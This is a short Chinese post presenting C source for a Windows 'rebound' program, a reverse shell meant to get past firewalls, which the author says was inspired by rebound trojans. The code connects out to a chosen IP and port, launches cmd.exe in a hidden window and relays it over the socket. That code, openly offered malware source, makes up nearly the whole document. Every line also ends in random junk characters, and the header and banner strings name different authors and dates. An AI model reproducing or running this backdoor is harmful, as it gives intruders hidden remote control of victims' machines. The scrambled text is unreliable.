这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 dPplZ,Y%
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/* ============================== SV#$Cf g
Rebound port in Windows NT 734)s
By wind,2006/7 d_s=5+Yj
===============================*/ L+,p#w
#include P{j2'gg3
#include g&eIfm
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#pragma comment(lib,"wsock32.lib") `|?K4<5|
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void OutputShell(); 3)\jUVuj
SOCKET sClient; Qgx9JJ>
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9IJBK
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void main(int argc,char **argv) Cw7
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{
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WSADATA stWsaData; {3n|=
int nRet; JDPn
SOCKADDR_IN stSaiClient,stSaiServer; V45A>#?U
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if(argc != 3) ;NNYJqWd^]
{ GJ"S*30
printf("Useage:\n\rRebound DestIP DestPort\n"); q6DuLFatc*
return; &Omo\Oq&W>
} lz2B,#
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WSAStartup(MAKEWORD(2,2),&stWsaData); nvY3$ Ty
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y,BzBUWK
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stSaiClient.sin_family = AF_INET; o
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stSaiClient.sin_port = htons(0); -]yM<dP
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8R?X$=$]!.
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;e,_F/@`
{ q.sErr[zc
printf("Bind Socket Failed!\n"); tt5t(+5j
return; 'fpm] *ig
} Y'-@O"pK
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stSaiServer.sin_family = AF_INET; l;{n"F
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %N5gQXg
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :/YHU3 ~Y
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o/0cd
{ "#zSk=52z
printf("Connect Error!"); y!_*CYZ~m
return; qTc-Z5
} 9C&Xs nk
OutputShell(); I`hltJM'
} s
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void OutputShell() 2to~=/.
{ Jr|"QRC
char szBuff[1024]; ~,#zdm1r@
SECURITY_ATTRIBUTES stSecurityAttributes; l0Rjq*5hJ
OSVERSIONINFO stOsversionInfo; y04md A6<
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~N
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STARTUPINFO stStartupInfo; \S#Mc
char *szShell; &1nZ%J9
PROCESS_INFORMATION stProcessInformation; !O|d,)$q
unsigned long lBytesRead; WcRTv"4&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^a+W!
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F)fCj^zL
stSecurityAttributes.lpSecurityDescriptor = 0; _:dt8+T#
stSecurityAttributes.bInheritHandle = TRUE; =QdHji/sB
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,uz+/K%OA5
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /G[2
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5e)2Jt:
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;B Lw?kf
stStartupInfo.wShowWindow = SW_HIDE; GSlvT:k
stStartupInfo.hStdInput = hReadPipe; [=3f:>ssm
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /hrVnki*
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GetVersionEx(&stOsversionInfo); =Sjr*)<@j
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switch(stOsversionInfo.dwPlatformId) Mw{0A\6
{ p7SX,kpt>
case 1: }jL_/gvgy
szShell = "command.com"; :A2{
break;
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default: SNLZU%jan
szShell = "cmd.exe"; sd(Yr6~..
break; Z]L_{=*
} C1V:_-
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]IF
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send(sClient,szMsg,77,0); s,z$Vt"h*K
while(1) ^)i5.o\
{ A=N &(k
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A(Tqf.,G
if(lBytesRead) zY11.!2
{ 9^yf'9S1
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); a"ct"g=
send(sClient,szBuff,lBytesRead,0); /-C`*P=:u
} RC[mpR;2
else W#|30RU.G
{ .(
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lBytesRead=recv(sClient,szBuff,1024,0); "pZvV0'
if(lBytesRead<=0) break; dSdP]50M
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); dWR-}>
} MKdS_&F;~
} HACY
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return; Wi;wu*
}